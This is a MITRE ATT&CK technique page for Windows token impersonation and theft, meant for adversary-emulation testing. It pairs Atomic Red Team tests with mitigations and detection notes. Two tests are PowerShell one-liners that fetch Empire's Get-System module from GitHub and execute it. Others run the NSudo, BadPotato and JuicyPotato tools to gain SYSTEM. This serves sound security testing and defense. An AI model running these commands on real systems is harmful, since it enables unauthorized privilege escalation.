T1134.001_token-impersonationtheft

T1134.001 Token Impersonation/Theft

Sub-technique of: T1134

High-Level Description

Adversaries may duplicate then impersonate another user's existing token to escalate privileges and bypass access controls. For example, an adversary can duplicate an existing token using DuplicateToken or DuplicateTokenEx. The token can then be used with ImpersonateLoggedOnUser to allow the calling thread to impersonate a logged on user's security context, or with SetThreadToken to assign the impersonated token to a thread.

An adversary may perform Token Impersonation/Theft when they have a specific, existing process they want to assign the duplicated token to. For example, this may be useful for when the target user has a non-network logon session on the system.

When an adversary would instead use a duplicated token to create a new process rather than attaching to an existing process, they can additionally Create Process with Token using CreateProcessWithTokenW or CreateProcessAsUserW. Token Impersonation/Theft is also distinct from Make and Impersonate Token in that it refers to duplicating an existing token, rather than creating a new one.

Kill Chain Phase

• Defense Evasion (TA0005)
• Privilege Escalation (TA0004)

Platforms: Windows

What to Check

• Identify if Token Impersonation/Theft technique is applicable to target environment
• Check Windows systems for indicators of Token Impersonation/Theft
• Verify mitigations are bypassed or absent (2 known mitigations)
• Assess detection coverage (1 detection strategies)

How to Test

Atomic Red Team Tests

The following tests are from Atomic Red Team and provide actionable ways to test this technique:

Atomic Test 1: Named pipe client impersonation

Uses PowerShell and Empire's GetSystem module. The script creates a named pipe, and a service that writes to that named pipe. When the service connects to the named pipe, the script impersonates its security context. When executed successfully, the test displays the domain and name of the account it's impersonating (local SYSTEM).

Reference: https://blog.cobaltstrike.com/2014/04/02/what-happens-when-i-type-getsystem/

Supported Platforms: windows Elevation Required: Yes

[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
IEX (IWR 'https://raw.githubusercontent.com/BC-SECURITY/Empire/f6efd5a963d424a1f983d884b637da868e5df466/data/module_source/privesc/Get-System.ps1' -UseBasicParsing); Get-System -Technique NamedPipe -Verbose

Atomic Test 2: SeDebugPrivilege token duplication

Uses PowerShell and Empire's GetSystem module. The script uses SeDebugPrivilege to obtain, duplicate and impersonate the token of a another process. When executed successfully, the test displays the domain and name of the account it's impersonating (local SYSTEM).

Supported Platforms: windows Elevation Required: Yes

[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
IEX (IWR 'https://raw.githubusercontent.com/BC-SECURITY/Empire/f6efd5a963d424a1f983d884b637da868e5df466/data/module_source/privesc/Get-System.ps1' -UseBasicParsing); Get-System -Technique Token -Verbose

Atomic Test 3: Launch NSudo Executable

Launches the NSudo executable for a short period of time and then exits. NSudo download observed after maldoc execution. NSudo is a system management tool for advanced users to launch programs with full privileges.

Supported Platforms: windows

Start-Process "#{nsudo_path}" -Argument "-U:T -P:E cmd"
Start-Sleep -Second 5
Stop-Process -Name "cmd" -force -erroraction silentlycontinue

Dependencies:

• NSudoLG.exe must exist in the specified path #{nsudo_path}

Atomic Test 4: Bad Potato

https://github.com/BeichenDream/BadPotato Privilege escalation using named pipe connections

Supported Platforms: windows Elevation Required: Yes

cd "PathToAtomicsFolder\..\ExternalPayloads"
Start-Process .\BadPotato.exe notepad.exe
Start-Sleep -Second 20
Stop-Process -Name "notepad" -force -erroraction silentlycontinue
Stop-Process -Name "BadPotato" -force -erroraction silentlycontinue

Dependencies:

• BadPotato.exe must exist in the temp directory

Atomic Test 5: Juicy Potato

This Atomic utilizes Juicy Potato to obtain privilege escalation. Upon successful execution of this test, a vulnerable CLSID will be used to execute a process with system permissions. This tactic has been previously observed in SnapMC Ransomware, amongst numerous other campaigns. Reference

Supported Platforms: windows Elevation Required: Yes

cmd /c '#{potato_path}' -l '#{listening_port}' -t * -p '#{target_exe}' -c '#{target_CLSID}'

Dependencies:

• JuicyPotato.exe must exist on disk

Manual Testing

If Atomic Red Team tests are not applicable, manually verify the technique by:

1. Identify Attack Surface: Determine if the target environment is susceptible to Token Impersonation/Theft by examining the target platforms (Windows).

2. Assess Existing Defenses: Review whether mitigations for T1134.001 are in place. If defenses are absent or misconfigured, this technique may be exploitable.

3. Execute Test: Use tools and methods described in the MITRE ATT&CK page and external references below.

Remediation Guide

M1018 User Account Management

An adversary must already have administrator level access on the local system to make full use of this technique; be sure to restrict users and accounts to the least privileges they require.

M1026 Privileged Account Management

Limit permissions so that users and user groups cannot create tokens. This setting should be defined for the local system account only. GPO: Computer Configuration > [Policies] > Windows Settings > Security Settings > Local Policies > User Rights Assignment: Create a token object. Also define who can create a process level token to only the local and network service through GPO: Computer Configuration > [Policies] > Windows Settings > Security Settings > Local Policies > User Rights Assignment: Replace a process level token.

Administrators should log in as a standard user but run their tools with administrator privileges using the built-in access token manipulation command runas.

Detection

Behavior-chain detection for T1134.001 Access Token Manipulation: Token Impersonation/Theft on Windows

Risk Assessment

CWE Categories

References

• Microsoft Command-line Logging
• DuplicateToken function
• Atomic Red Team - T1134.001
• MITRE ATT&CK - T1134.001